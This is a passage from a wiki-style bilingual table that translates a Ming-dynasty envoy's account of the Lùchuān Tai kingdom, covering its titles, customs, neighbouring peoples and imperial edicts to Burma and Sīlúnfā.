Gold Teeth barbarians. That winter, '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) captured the territory of '''Zhělán''' ('''者闌''') and '''Nándiàn''' ('''南甸'''). His subordinate '''Dálǔfāng''' （'''達鲁方'''）placed '''Mǎnsàn's''' ('''滿散''') son, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) as ruler and killed '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) when outside. The offered tribute included white elephants, rhinoceroses, horses and other local products. The palace could not bear to cut ties with outside spheres of influence and commanded the Fujian Left Vice Official '''Wáng Dùn''' ('''王鈍''') to lead in the checking of the city walls of Yunnan, order discussions of pros and cons of allegience, discuss the annual tribute rate and secured their submission. He conferred '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) as the Burma Pacification Commissioner. In the third year ('''1386 A.D.'''), he returned to invade '''Jǐngdōng''' ('''景東'''). The next year, his subordinate '''Diāosīlǎng''' ('''刁思朗''') invaded '''Dìngbiān''' ('''定邊'''). The Emperor ordered Marquis of '''Xīpíng''' ('''西平''') '''Mù yīng''' ('''沐英''') to lead an army to defeat him where he caught '''Diāosīlǎng''' ('''刁思朗'''). The barbarians became fearful and submitted. In order not to restrict those far-away peoples, the official system and administration were all in their customs. |- |其下稱思侖發曰『昭』，猶中國稱君主也。所居麓川之地曰者闌，猶中國稱京師也。其屬則置『叨孟』以總統政事，兼領軍民。『昭錄』領萬餘人，『昭綱』領千餘人，『昭伯』領百人；領一伍者为『昭哈斯』，領一什者为『昭准』；皆屬於『叨孟』。又有『昭錄令』，遇有征调，亦與『叨孟』統軍以行。其近侍呼为『立者』，閽寺呼为『割斷』。大小各有分地，任其徭賦。 |'''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) is called '''Zhāo''' ('''昭'''), like how China uses "Lord". '''Lùchuān's''' ('''麓川''') [ruler's] dwelling place is called '''Zhělán''' ('''者闌'''), like how China uses the term "Capital". Their subordinates are known as '''Dāomèng''' ('''叨孟'''), who generally handled political affairs while simultaneously leading the military and civilians. '''Zhāolù''' ('''昭錄''') led over ten thousand households, '''Zhāogāng''' ('''昭綱)''' led over a thousand households, '''Zhāobó''' ('''昭伯''') led a hundred households. Those who led five soldiers were known as '''Zhāohāsī''' ('''昭哈斯'''), those who led ten soldiers were known as '''Zhāozhǔn''' ('''昭准'''). Each [of these] were part of the '''Dāomèng''' ('''叨孟'''). There is also '''Zhāolùlìng''' ('''昭錄令''') who also happen to carry out conscription for the '''Dāomèng''' ('''叨孟''') to gather an army to lead. Their attendants were known as '''Lìzhě'''（'''立者'''). Doorkeepers of Buddhist temples were called '''Gēduàn''' ('''割斷'''). Big or small each had distributed land appointed and endowed to them as compulsory servicefor corvee and taxes. |- |上下僭奢，雖微職亦繫鈒花金銀帶。貴賤皆戴筍籜帽，而飾金寶於頂，如浮圖狀，懸以金玉，插以珠翠花，被以毛纓，綴以毛羽。貴者衣綺麗。每出入，象馬僕從滿途。象以銀鏡數十聯綴於羈靮，緣以銀釘，鞍上有闌如交椅狀，藉以裀褥，上設錦障蓋，下懸銅響鈴，坐一奴鞍後，執長鉤驅止之。遇貴於己者，必讓途而往。凡相見必合掌而拜，習胡人之跪。長於己者必拜跪之，言則叩頭受之。叨孟以下見其主，則膝行以前，二步一拜，退亦如之。執事於貴人之側，雖跪終日無倦狀。貴人之前過，必磬折鞠躬。宴会則貴人上坐，其次列坐於下，以逮至賤。先以沽茶及蒌葉、檳榔啖之（沽茶者，山中茶葉，春夏間采煮之，實於竹筒内，封以竹箬，過一二歲取食之，味極佳，然不可用水煎飲）。次具飯，次進酒饌，俱用冷而無熱。每客必一仆持水瓶側跪，俟嗽口盥手而後食。食畢亦如之，而後起。客十則十人各行一客。酒或以杯，或用筒（筒以蕨楷，或用鵝翎管連贯，各長丈餘，漆之而飾以金，假若一酿酒，則漬以水一滿瓮，插筒手中，立標以驗其盏數，人各以次舉筒咂之。咂酒一盏，仍漬水一盏，傳之次客，味甚佳，至淡，水方止，俗呼为咂酒）。酒與食物必祭而後食，食不用筯。酒初行，一人大噪，眾皆合之，如此者三，乃舉樂。樂有三等：琵琶、胡琴、等笛、響盏之類，效中原音，大百夷樂也。笙阮、排簫、箜篌、琵琶之類，人各拍手歌舞，作緬國之曲，緬樂也。銅饒、銅鼓、響板、大小長皮鼓，以手拊之，與僧道樂頗等者，車里樂也。村甸間擊大鼓，吹芦笙，舞干为宴。長者授卑賤酒食，必叩頭受之，易以他器而食。食畢，仍叩頭而退。 |The people, both high and low [in status], were extravagantly overstepping [in their dress]. Even small duty officials fastened engraved, patterned belts of gold and silver. [Both] nobles and commoners wore bamboo-shoot-woven hats and decorated them with gold, like a crown resembling pagodas, hanging with jade and gold and inserted with pearls and colourful gems, covered with tassels and quilted feathers. The clothes of wealthy individuals are enchantingly beautiful. Whenever one goes out, elephants, horses, and servants fill the roads. The elephants have about ten or so silver mirrors attached to their reins and bridles, edged with silver nails. On the saddle, there is a railing resembling an old wooden-style armchair with cushion-like under padding, a mattress, and brocade above the top and copper ringing bells below [it]. A servant was seated behind the saddle, grasping a long hook to urge and stop [the elephant]. Upon encountering a wealthy person, they certainly yield the way to them. Commonly, when meeting one another, they certainly clasp hands and bow, adopting the kneeling [custom] of the Northwestern peoples [of China]. Elders to oneself are bowed to and kneelt before, and when speaking, they are subjected to kowtow to them. Those below '''Dāomèng''' ('''叨孟'''), seeing their masters, kneel before them, every two steps a bow, and repeat it during withdrawal. Attendants are at a wealthy person's side, despite kneeling all day, do not appear tired. When a wealthy person passes by, they bow deeply.<ref>The sentence is poetically describing the bow as "bending the body as to resemble 磬, a type of percussion instrument". </ref> In banquets, the wealthy are seated first, then next in line are the ones below them and so on, by means to the lowest [of status]. First, they are given tea, areca nuts and betel leaves (The given tea leaves are [harvested] in mountains and brewed in Spring and Summer, stuffed into bamboo tubes, sealed with bamboo leaves for one to two years, ready for consumption, tasting extremely fine, however, cannot be brewed by boiling in water for drinking. Next [to] be provided is rice, following that is wine and delicacies are are [consumed] cold and unheated. Every guest has a servant kneeling on the side holding a water bottle, waiting to cough and rinse the mouth and hands with water and then eat. [Upon] finishing eating this is repeated and then they rise. In the case of ten guests, ten people attend them, one per guest. Wine is either served in a cup or a tube (The tubes are made from Pistachio Bracken or goose plume linked together). Every length is one '''Zhàng''' ('''丈;''' approximately 3m) painted and decorated with gold. If brewing wine, one pot of water is added. Inserting the tube into the hand, it is used to check for the number of cups [it can hold]. Each person lifts the tube to sip from it. After sipping a cup, a cup of water is added, and it is passed to the next person; the taste is exceedingly fine. When the wine's taste dilutes, water is stopped, and this is called '''sipping wine'''.) Wine and good must be sacrificed, and then they eat. Chopsticks are not used to eat. At the begining of the wine [ceremony], one person loudly shouts and multiple people all join in. This is done three times, and then music is played. There are three such types of music: Chinese lute, Huqin (Chinese fiddle) and the flute with ringing cups and so on. It imitates the sounds of the central region<ref>The Yellow River Basin area of China. </ref> and the Great White barbarians, too. Bagpipe, lutes, panpipes, harp, pipa and so on. People each clap their hands and dance. It is performed in Burmese tunes and music. Copper gong, bronze drum, castanets, big, small and long leather drums struck with the hand. It is similar to Buddhist and Taoist music, as well as '''Chēlǐ''' ('''車里''') music. Villages and suburbs have space for striking bass drums, blowing reed pipes and dancing for the feast. Elders give food and drink to the lowly [people], who certainly must bear to kowtow them to exchange utensils and eat. [Upon] finishing eating, they still kowtow and then retreat. |- |凡貿易必用銀，雜以銅，鑄若半卵狀，流通商賈間。官無倉庾，民無税粮。每年秋季，其主遣亲信部屬往各甸，计房屋征金銀，谓之取差發（房屋一間，大者征銀一两、三两，小者一两而止）。無中國文字，小事刻竹木，大事作緬书，皆旁行为记。刑名無律，不知鞭挞，轻罪則罚，重罪則死。或殺，或用人扱殺。或用象打，或投於水，或以绳帛缢。男婦不敢为奸盗，犯則殺之。 |All commercial trade must use silver, mixed with copper, cast to appear like a half egg [shape] to circulate among merchants. The government has no granaries,<ref>There are two characters for granaries, the second is for small private ones, signifying that most did not have this system at all. </ref> the people [likewise] have no grain tax. Every autumn, the owners dispatch trusted aides and subordinates to go to each suburb to calculate and levy households' gold and silver. This is called to go collect money. (For each house: large ones are taxed one or three [taels] of silver, small ones are taxed one tael.) There is no Chinese script; small matters are carved into bamboo or wood, big matters are written into Burmese script, all written horizontally for recording. No laws govern punishment; they do not know whipping or corporal punishment. Petty crimes are penalised, and serious crimes lead to death. Some are killed [directly], while some have another person employed to kill them. Some use elephants to crush them, some throw them in water, while some are hanged with ropes. Men and women do not dare commit adultery or robbery, to violate so will kill them. |- |所居無城池濠隍，惟编木立寨，貴賤悉构以草楼，無窗壁门户，时以花布障围四壁，以蔽风雨而已。邮傅一里設一小楼，數人守之，公事雖千里遠，报在顷刻。無軍民之分，聚則为軍，散則为民。遇有战斗，每三人或五人出軍一名，择其壮者为正軍，呼为『锡剌』。锡剌持兵御敌，余人荷所供。故軍行五六萬，战者不滿二萬。兵行不整，先後不一。多以象为雄势，战則缚身象上。裹革兜，被銅铁甲，用長镖干弩，不習弓矢。征战及造作用事，遇日月食則罢之，毁之。 |The [ruler's] dwelling place has no walls, water moats, trenches or dry moats, only wooden stockades erected. Both nobles and commoners all constructed thatched houses with no windows, ramparts or doors, just printed cloth covering around all four walls, as to cover [from] wind and rain and nothing more. Every mile, there was a small post office, a few people guarded it, [thus] documents even as far as a thousand miles can be reported instantly. There is no distinction between military and civilian [people]. Once assembled, they became soldiers; once scattered, they became civilians. Upon encountering a war, every three or five people would produce one soldier; they would select the strongest to become the principal armed force, known as '''Xīlà''' ('''锡剌'''). The '''Xīlà''' ('''锡剌''') grasped weapons to defend against the enemy, while surplus people carried to supply [them]. Hence, an army of fifty or sixty thousand will have fighters not filling twenty thousand. The soldiers were not organised; their rank formations were not uniform. Many used elephants for their imposing power; fighters tied their bodies onto the elephants. They wrapped leather into helmets, and were covered with copper mail plating, using long spears and crossbows, and did not practice bow and arrow. Any war or manufacturing encountering an eclipse would cease or [either] be destroyed. |- |所用多陶器，惟宣慰用金銀玻璃，部酋間用金銀酒器。凡部酋出，其器用、仆妾、财寶之類皆随之，從者千余，昼夜随所适，必作宴笑樂。 |Most utensils [they use] were pottery. Only the '''Xuānwèi''' ('''宣慰''') use gold, silver and glass. Tribal chiefs among them used gold, silver and wine cups. Commonly [when] tribal chiefs go out, their utensils, servants, concubines, money, jewels and so on all subsequently all follow him. He is accompanied by over a thousand followers. Day and night, wherever he subsequently goes, there will be feasts, laughter and music. |- |男子衣服多效胡服，或衣宽袖長衫，不识裙袴。其首皆髡，胫皆黥。不髡者殺之，不黥者眾叱笑，比之婦人。婦人髻绾於後，不谙脂粉，衣窄袖衫，皂統裙，白裹頭，白行缠，跣足。其俗賤婦人，貴男子，耕织徭役担负之類，雖老婦亦不得少休。嫁娶不分宗话，不重处女。年未笄，听與男子私，從至其家，男母为之濯足，留五六昼，遣歸母家，方通媒妁，置财礼娶之。凡生子，貴者浴於家，賤者浴於河，數日，授子於夫，仍服劳無倦。酋長妻數十，婢百余，不分妻妾，亦無鮅忌。男女浴於河，雖翁婦叔嫂，相向無耻。子弟有職名，則受父兄跪拜。父母亡，用婦祝尸，亲邻咸馈酒肉，聚年少环尸歌舞宴樂，婦人擊碓杵，自旦達宵，數日而後葬。其棺若馬槽，無蓋，置尸於中，抬往葬所，一人執刀持前导。及瘗，其生平所用器物，坏之於側而去。 |Many men's clothes mainly imitate non-Han clothing, or they wear wide-sleeved long gowns, not knowing skirts or trousers. Their heads are all tattooed, their shins are all tattooed. Untattooed heads would be killed, and untattooed legs would be laughed at and compared to women. Women tied their hair into a topknot at the back; they are not versed in cosmetics, and their clothes are narrow-sleeved garments [jackets] and a soap-style skirt. [Her] head is wrapped in white, her body is wrapped in white, and they go barefoot. Their custom is women, commoners, noblemen, must all undertake compulsory labour service and so on. Even old women must not rest a little. Marriage does not distinguish clan or language or virginity [of women]. Before even fifteen years, they are allowed private liaisons with men. She follows him to his home, and the man's mother washes her feet. She remains there for five or six days, [she] is then sent back to her mother's house. Then they communicate with a matchmaker and buy betrothal gifts to take her as a wife [for him]. Ordinarily with the birth of a child, a nobleman bathes in the home, while commoners bathe in the river. For a few days, she gives the child to her husband and continues to dress, toil, and work without tiring. The wives of a tribal chief number ten, his slave girls can surpass one hundred, there is no distinction between wife and concubine, also there is no '''Bìjì''' ('''鮅忌''').<ref>Unsure as to what this means. The first character is a type of fish and an extremely obsolete character not used anymore. It is a compound to something about jealousy, however I do not know what this compounded term relating to jealousy might be. Preliminary thought would be, the wives do not compete, or do not dread their hierearchy? </ref> Men and women bathe in the river, even old men, women, uncles, sister-in-laws [bathing] face to face have no shame. If a child has an office title, then they will be accepted, and the father and brothers will kneel and kowtow to him. When parents die, they use women to pray for the corpse. Relatives and neighbours all make an offering of wine and meat. They assemble young people around the corpse, singing and dancing, making merry. Women strike the pestle from dawn to night, and only after a few days, they bury the dead. The coffin seems like a horse trough, with a lid; they cover the corpse in the middle. They lift and carry the coffin to the burial place; one person holds a knife and leads the way. When the burial takes place, the objects the deceased had used during their life are broken beside the burial, and then people depart. |- |} ===Ethnic Groups and customs=== {| class="wikitable" style="text-align:center; width:80%;" |+ A list of ethnic groups encountered and their traditions and general customs. |- ! scope="col" | Original ! scope="col" | Translation |- |其俗，不祀先，不奉佛，亦無僧道。小百夷居其境之東北邊，或学阿昌，或学蒲蠻，或仿大百夷，其習俗不一。 |Their customs do not offer sacrifices [to ancestors], do not revere the Buddha. There are no Buddhists and Daoists [among them]. The Lesser One Hundred Barbarians reside on the northeast border, following Āchāng ('''阿昌''') customs, following Pú ('''蒲''') customs and some imitate the Greater One Hundred Barbarians. Their customs are not the same (uniform). |- |車里，亦谓小百夷，其俗刺额、黑齒、剪發，狀如頭陀。 |[The people of] '''Chē lǐ''' ('''車里''')<ref>'''Chē lǐ''' ('''車里''') refers to the Cheli Military and Civilian Pacification Commissioners Office. It was a Tai State that located at Jinghong City in modern day Xishuangbanna in Yunnan.</ref>, are also called Lesser One Hundred Barbarians. Their customs are tattooing foreheads, blackening teeth and cutting hair. Appearing as if like ascetic monks. |- |哈刺，男女黑真黑。男子以花布为套衣，亦有效百夷制者；婦人髻在後，项系雜色珠，以娑罗布披身上为衣，横系於腰为裙（娑罗布即中國木棉布，坚厚，或织以青红纹）。仍环黑藤數百围於腰上，行缠用青花布，赤脚（蒲蠻、阿昌，事見《雲南志》）。 |'''Hā cì''' ('''哈刺'''), men and women are [both] black, truly black. Men use printed cloth<ref>g</ref> for covering themselves, also which the One Hundred bararians effectively manufacture; married women have top knots behind [their head]. It is tied at the back of their neck with various pearls and beads. '''Suō luó''' ('''娑罗''')<ref>'''Sarong''' today, however this appears to be a complex term with many copyediting issues historically, Brahmin drapes, Suoluolong, eventually describing a type of silk-cottob robe made from plant materials.</ref> are draped around their bodies as clothes, horizontally it connected at the waist and lower back as a skirt. ('''Suō luóbù pī''' ('''娑罗布披''') namely is the Chinese Cotton Tree (Bombax Ceiba) cloth, strong and thick, possibly weaved as blue, red patterns.) Yet it encircles black rattan several hundred times, wrapped at the waist and lower back, it wraps around [their leg] to be used as a blue printed cloth [as they're] barefoot. ([Used amongst the] Pú mán (蒲蠻), āchāng (阿昌), shì jiàn (事見); [according to the] The Yunnan Gazeteer<ref>Written by Fan Chuo of the 9th century, also known as 蛮书 (Barbarian Document)</ref>.) |- |古刺，男女色甚黑。男子衣服装飾類哈刺，或用白布为套衣。婦人如罗罗狀（罗罗見《雲南志》）。 |'''Gǔ cì''' ('''古刺''') [people] are coloured extremely black. The men's clothes, decorations and adornments closely resembled the '''Hā cì''' ('''哈刺'''), and they use white cloth as [outer] covering garments. Married women resemble the '''Luó luó''' ('''罗罗''') [people]. ([For the] '''Luó luó''' ('''罗罗''') see The Yunnan Gazeteer.) |- |漂人，男女衣服皆類百夷。婦人以白布缠頭，衣露腹，以红藤缠之，娑罗布为裙，两接，上短下長，男女同耕。 |Pyu people<ref>This is the last time a document mentions the existence of Pyu people, namely. The Burmese stopped mentioning them by the 12th century, as did the Persians in the 10th century. Their retention of it suggests that absorption was slower and that the Burmese and Pyu were still distinct, according to the envoys.</ref>, [the] men and women's clothes all resemble the One Hundred Barbarians. Married women wear white cloth wrapped around their head, their clothes expose their stomach/ naval. By means of red rattan winding around them, the '''Suō luó''' ('''娑罗''') [is worn] as a skirt. Two [cloths] connect, upper [cloth] is short, bottom [cloth] is long. Men and women [both] till [the fields]. |- |緬人，色黑類哈刺，男女頭上以白布缠高三四尺，衣大袖白布衫，腰以下一布通前後便缠之，貴者布長二丈余，賤者不一丈。甚善水，嗜酒。其地有树，狀若棕，树之杪有如筍者八九茎，人以刀去其尖，缚瓢於上，過一宵則有酒一瓢，香而且甘，飲之輙醉。其酒经宿必酸，炼为烧酒，能飲者可一盏。有为僧者，以黄布为袈裟，袒右手，戒行極精，午後不飲食。婦人貌陋甚淫，夫少不在，則與他人私，遂为夫婦。以白布裹頭而披花为衣。 |Burmese people, [their] colour is black like the '''Hā cì''' ('''哈刺'''). Men and women [both] on their heads have white cloth wrapping around it [aproximately] as long as three to four '''Chǐ''' ('''尺''';1.2 m-1.36 m). Their clothes are large-sleeved white cloth garments. Below the waist and lower back, one cloth goes all around to be wrapped around them. Expensive cloth is as long as two '''zhàng''' ('''丈'''; 6.2m-6.8m). Inexpensive [cloth] is not even one '''zhàng''' ('''丈'''; 3.1m-3.4m). They are extremely well-disposed to water and fond of wine. On their land, their trees appear as palm trees. They cultivate eight to nine stalks, with the tips of the leaves resembling bamboo shoots. The people take knives and cut off the tips. They bind a dried gourd ladle to it. After one night, it becomes a gourd of wine, fragrant and sweet to drink to intoxication. Their wine, undergoing [another] night, certainly becomes bitter; it gets refined into '''Shāojiǔ''' ('''烧酒''')<ref>A famous Tang Dynasty wine beverage.</ref>. [Heavy] drinkers can only drink one small cup. There are monks. Yellow cloth is used as Kasaya robes (Buddhist robes) with the right arm remaining bare. They strictly adhere to the utmost discipline. They do not eat or drink in the afternoon. Women's appearances are excessively plain, and they are promiscuous. If husbands are away briefly, they enter into relations with other men and succeed as a married couple. White cloth is wrapped around their head and draped on their shoulders in a printed way. |- |哈杜，巢居山林，無衣服，不识农业，惟食草木禽兽，善骑射。冷則抱巨石，山坡間往復奔走，以汗出为度。 |'''Hā dù''' ('''哈杜''') [people] reside in nests in mountain forests; they do not wear clothes. They have no knowledge of agriculture. Only eating vegetation and birds and creatures. They are adept at horses and archery. [When] cold, they grab a boulder and make running trips back and forth between mountainsides until they perspire out to the temperature. |- |弩人，目稍深，貌尤黑，额颅及口邊刺十字十余。 |'''Nǔ''' people ('''弩人'''; crossbowman people), [have] deep-set eyes, [their] appearance is outstandingly dark. Their forehead and mouth edges are tattooed with crosses more than ten times. |- |有结些者，從耳尖連颊皮破，以象牙为大圈，横贯之，以花布裹頭，而垂余布於後，衣半身衫，而袒其肩。婦人未详。其人居戛璃者多。 |[There] is some knotted "Zo" people<ref>This translation is messy. However, it is the first use of the Zhexie/Jiexie term, which was popularised during the Qing era. However, this early, 些 Xie was actually Suo, like the Mosuo people. Hence, the name appears to be a misrendering of Zo people from an intermediary translator, possibly.</ref>, from the tips of the ears to the cheeks, the skin is pierced. Using ivory as a large ring, they pass it horizontally through [the pierced skin]. Printed cloth is wrapped around the head and hangs down onto their back as a partially wrapped robe and bears their shoulders. Nothing is known/reported concerning the women.<ref>Likely possibly meaning that the women are indistinguishable from men. An observation echoed by the British of the Zo people during the colonial era.</ref>. Many of these people habitat at '''Kalay'''. |- |諸夷言语習俗雖异，然由大百夷为君長，故各或效其所为。夷人有名不讳，無姓。 |Although the various barbarian languages and customs are different, they follow the Greater One Hundred Barbarians as their central ruler. Therefore, possibly each group imitates that they do. The Yi people have names but observe no naming taboos; they have no surnames. |- |無医卜等书。不知时节，惟望月之盈亏为候。有事惟鸡卜是决。疾病不知服药，以姜汁注鼻中。病甚，命巫祭鬼路側，病疟者多愈，病熱者多死。地多平川沃土，民一甸率有數十千户，眾置貿易所，谓之街子。婦人用锄地，事稼穑，地利不能尽，然多产牛、羊、鱼、果。 |There are no books on medicine and divination. They are unaware of seasons. Only the moon in its waxing and waning is observed. For matters, a chicken is used for divination. For diseases they do not know how to take medicine. They pour ginger juice into their noses. For extreme sickness, the shaman offers spirit sacrifices next to the road. Those suffering from malaria are likely to recover. Those with a fever are more likely to die. The land is flat with plains and fertile, the people of a district can lead up to ten thousand households. They install commercial trade posts known as ''street markets'' ('''街子'''; Jiē zǐ). Women hoe and weed the soil and [attend] matters to do with sowing and reaping. The productivity of land cannot be exhausted, as there are many ox, sheep, fish and fruits. |- |其气候：春夏雨，秋冬晴，腊月亦如春，昼暄夜冷，晓多烟雾，無霜，春秋烟瘴甚盛。 |Their climate: In spring and summer, it rains. In autumn and winter, it is clear. In the 12th Lunar month ('''December-Feburary''') it feels like spring. The daytime is warm, and the nighttime is cold. At dawn, there is a lot of fog. They have no frost. Spring and Autumn miasma carries an excessive level of malaria. |- |其飲食之异者：鳅、鳝、蛇、鼠、晴蜓、虫负、蛟、蝉、蝗、蚁、蛙、土蜂之類以为食；鱼肉等汁暨米汤信宿而生蛆者以为飲。 |Their food and drink are unusual in the following ways. Loach, eels, snakes, dragonflies, insects, aquatic animals, cicadas, locusts, ants, frogs, and scoliod wasps are all types of food. They drink the juice of fish, meat, and rice gruel, which, over two nights, gain maggots, which are eaten. |- |其草木禽兽之异：草則秋間數十百株结为一聚，地产此草，烟瘴尤甚。树木多有三四株结为連理。有大如斗之柑，有鲇頭鲤身之鱼，水牛頭黄牛身之牛，绵羊頭山羊身之羊。雄鸡多伏卵，亦有生卵者。者闌有一池，沸如汤，人多投肉熟之。 |Their plants and animals are unusual: in autumn, their grass joins from hundreds of stalks to cluster. The land these grasses grow on has an excessively strong malarial miasma. Trees often produce multiple stumps in a fusion. There are large tangerines as large as dippers. There is [a] fish with a sheatfish head and carp bodies. There are oxen with water buffalo heads and yellow ox bodies. There are sheep with sheep heads and mountain goat bodies. Roosters brood over eggs, there are also [males] that lay eggs. At '''Zhě lán''' ('''者闌''')<ref>On the Shan Myanmar and China border near Muse.</ref>, [the size of] ponds for boiling soup. People often cast mature meat in it. |- |境内所产珍物：雅琥、琥珀、犀、象、鹦鹉、孔雀、鳞蛇、脑、麝、阿魏、金、銀、玻璃之類。 |Within its borders are the following precious items it produces: elegant amber, amber, rhinoceros, elephant, parrots, peacocks, snake scales, brains, musk deer, Resina Furelae, gold, silver, glass types of products. |- |其山水险隘。北有高良弓山，横亘二百余里，高五十余里，與怒江相倚。西有馬安山，山有一关，若一人守关，萬夫难入。東为麓川江，可通舟楫。南與金沙江合而入於西海。南下交趾界。金沙江之南，有東胡、得冷、緬人三國。緬之西即西天也。 |The mountains have narrow, dangerous river passes. North there is the Gaoligong Mountains, it horizontally extends two hundred '''Lǐ''' ('''里'''), and is tall as five hundred '''Lǐ''' ('''里''') right next to the '''Nùjiāng''' ('''怒江'''). West is the '''Mǎ'ān Mountain''' ('''馬安山'''). The mountain has one mountain pass. If one person guards the pass, then ten thousand will struggle to enter. East is the '''Lù chuān River''' ('''麓川江'''). You can pass it in an oarboat. South is the '''Jīnshā River''' ('''金沙江''') which enters at the western sea. South it borders '''Jiāozhǐ''' ('''交趾'''; Vietnam). Further south of the '''Jīnshā River''' ('''金沙江''') are the three polities, which has '''Dōnghú''' ('''東胡'''； Eastern Barbarians), '''Dé lěng''' ('''得冷'''; Derung people) and '''Miǎn people''' ('''緬人'''; Burmese people). West of Burma lies the Western Regions<ref> A term for India and Central Asia, which were Buddhist.</ref>. |- |緬國古舍利國，又名狮子國，多佛塔。緬國與夷連歲横兵。洪武之亥冬，緬人诉於朝。丙子春，皇帝遣臣古训及桂阳李思聪至两國，諭以睦邻之义。 |Burma, formerly the '''Shèlì country''' ('''舍利'''), also known as the Lion Country, is filled with pagodas. Burma and the Yi Barbarians were in continuous warfare for years. During the reign of the Hongwu Emperor in the winter of the year of the boar ('''1395 A.D.'''), Burma issued a royal complaint. In Spring of the Year of the Rat, ('''1396 A.D.'''), the Emperor dispatched official Guxun and Li Cong of Guiyang to the two countries to order them to get on well as neighbours with righteousness. |- |} ===Statements and Relations between the Kingdoms=== {| class="wikitable" style="text-align:center; width:80%;" |+ Outcome of the envoys mission and political relations between Shans and Burmese. |- ! scope="col" | Original ! scope="col" | Translation |- |其諭緬國王曰： |In it, I addressed the King of Burma, saying: |- |『里路险遠，山川阻修，风殊俗异，此乃天造地設也。尔能勤使者，涉险遠，越邻邦以至中夏，其使者之难，冲烟突雾，晨進昏止，饥餐渴飲，吞吐烟岚，异风霜而方至。其为使者，不亦难乎！古人有云：诚君子將有事於遠，友千里之外，神交而志通。今萬里之外，尔能勤使而至，遠修其好，美絕古而惟今。然排难解纷之事，朕之旨意，恨不一言而正，使彼此各罢兵守，樂黎民於市野，民居共处，砃相邻而同井飲，籍雖两國之民，居处难分，惟存关市有讥，是其和也。若尔緬不主衅，夷不强凌，如此，雖弱自保，以奉天道。其或不听朕命，忿争不已，天將昭鉴，福善祸淫，迟速可待。鯩至，朕不多诫。但诚可以交天人，尔其审之，母忘朕諭。』 |The roads are dangerous, and far, mountains and rivers are obstructive and long. Their social ways and customs are different. This is what heaven and earth have established. Yet you are able to diligently [carry out your duties as an] envoy. Taking risks far, passing neighbouring countries to the Chinese heartland. Clashing with smoke, dashing through mist. Advancing at dawn and stopping at twilight, eating when hungry and drinking when thirsty. Breathing in and exhaling mountain vapours, enduring unfamiliar winds and frost before finally arriving. To be an envoy was this not difficult? The ancient people have a saying: <em>Truly, when a gentleman has affairs to undertake in distant places, he has friends a thousand <strong>Lǐ</strong> (<strong>里</strong>)， their spirits commune in spirit and their intentions are mutually understood.</em> Now ten thousand '''Lǐ''' ('''里''') away, you can diligently envoy and arrive, from afar cultivate their friendship. However, regarding the matter of resolving difficulties, this is my intention. I lament that I cannot settle the matter in a single utterance as to cause both sides to cease war and guard their territory so that the common people might enjoy marketplaces and countryside. Let the people coexist [as] neighbours of white stone who drink from the same well. Although registered as the people of two countries, their dwellings are difficult to distinguish. Only the inspections at frontier markets will remain. This would be peace between them. If the Burmese do not initiate hostility, and the '''Yi''' do not forcefully oppress you, in this way, althought [one is] weak it may defend itself, as to follow the law of heaven. If they do not listen to my order, angry contention will not cease; heaven will see it clearly. Blessed will the good, and calamity will be brought on the transgressor, quick or slow; the consequences will come. <strong>Lún</strong> (<strong>鯩</strong>) arriving, I will not elaborate further; only sincerity can bring one into accord with heaven and humanity. You must consider this; do not forget my instruction. |- |諭思侖發曰： |Above '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) spoke: |- |『朕中國先古圣人，驭顽礼德，各有条章。是条章也，列圣相继，守而行之，上下相安，黔黎樂业。何也？諸侯敬畏，世禄子孙，國祚绵長，乃九伐之功驗也。列國敢有凭弱犯寡者，天子發兵以眚之；贼贤害民者，亦發兵以伐之；暴内凌外，則兴師以坛之；野荒民散，則用兵以削之；负固不服，則舉兵以侵之；贼殺其亲，則正其罪以殺之；放弑其君，則明其罪以诛之；犯令凌政，則杜而絕之；内外乱，鸟兽行，則殄灭之。九伐之征如是也。尔思侖發，以中國较之，合问凭弱犯寡之由。何以見？歲以兵寇車里，不时侵掠八百，恃强犯緬；戛璃國小民寡，而已平之，斯说也，不過告诫之词。中國周临四夷，與諸酋長地里相接，居民亦相密迩，如此者，耳闻之邦若干，目擊之邦若干，朕未嘗恃强凭凌，絕灭其嗣者。雲南之地，已为我有，似乎尚强以取之，非也！乃元世子孙梁王者，恃元之苗裔，匿我有罪，納我逋逃，诱我邊守，是乃不得已而發问罪之師，非無故而兴師。此乃元运天更，其苗裔不当安处。况生事於我邻邦，其理势使然，夷如反掌。尔麓川之蠢，初擅兴金齒之役，次谋景東而寇定邊，理当大發精兵而较胜负。朕释而不较，未嘗强尔为約束之邦，听尔自为声教，今又几年矣。近闻蚕食邻邦，意在扩土地而擅有其眾，又將为我西南之役。噫，未可！古中國圣人有云：‘山川地理人物之類，乃神器也，非人强有，必天授然後得之’。尔思侖發不修邻邦之好，三面發兵，蚕食諸國，其贪也如是，其谋也如是。彼麓川周临之國，始古至今，各有主者，未嘗吞并。朕雖不能止尔，听尔自为，果天道使然，尔以人事应之，或为而可。噫！以朕戒尔守全則可，不守全而以全动，設若全亏，是为全亡，莫如守全以圖绵長，不亦美乎？』 |The ancient sages of my Middle Kingdom governed the unruly through ritual propriety and moral virtue, each had rule and regulations. These rules and regulations were arranged in successive order to preserve them and put them into practice. Those above and below lived in mutual harmony. The common people enjoyed their livelihoods. Why is that? Local rulers revered [central authority], the descendants inherited their stipends and ranks, the state's fortunes endured for a long time. Thus [these] were the proof of the achievements of the Nine expeditions. Various states that dare to rely on strength to attack the weak, the Son of Heaven would send troops to punish them. Those who harm the worthy and injure the people would likewise be militarily punished. If a ruler oppressed those within and bullied those without, an army would be raised to subdue him. If the countryside lay waste and the people were scattered, troops would be employed to reduce it. If a state relied on its strong defences and refused submission, troops would be raised to invade it. If [a ruler] murdered his own kinsmen, his crime would be formally established with guilt and [thus] be put to death. If a subject expelled or murdered his ruler, his crime would be made manifest, and he would be executed. If a state violated commands and defied government authority, it would be blocked off and cut off. If there were disorder both within and without, and people behaved like birds and beasts, they would be utterly destroyed. Such were the circumstances and punishments of the Nine Punitive Expeditions. You, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa), measured against China , it is fitting to ask the reason why you rely upon strength to attack the weak. How is this evident? Year after year, [you] have used troops to raid '''Chēlǐ''' ('''車里''') and at irregular times invaded and plundered the Eight Hundred.<ref>Short hand for Eight Hundred Wives and Daughters in Laws Country, the old name for Laos or Lan Na. </ref> [Hence] presuming upon your strength to attack Burma. The '''State of 